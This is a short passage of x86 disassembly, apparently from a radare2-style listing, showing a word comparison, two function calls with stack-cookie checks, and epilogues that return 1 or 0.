movzx eax, word [ecx + 4]
cmp ax, word [edx + 4]
je 0x4116dc
test bl, bl
jne 0x4116dc
push esi
call fcn.00428373
add esp, 4
pop esi
mov eax, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041aab7
mov esp, ebp
pop ebp
ret 4
push esi
call fcn.00428373
mov ecx, dword [ebp - 4]
add esp, 4
xor ecx, ebp
xor eax, eax
pop esi
pop ebx
call fcn.0041aab7
mov esp, ebp
pop ebp
ret 4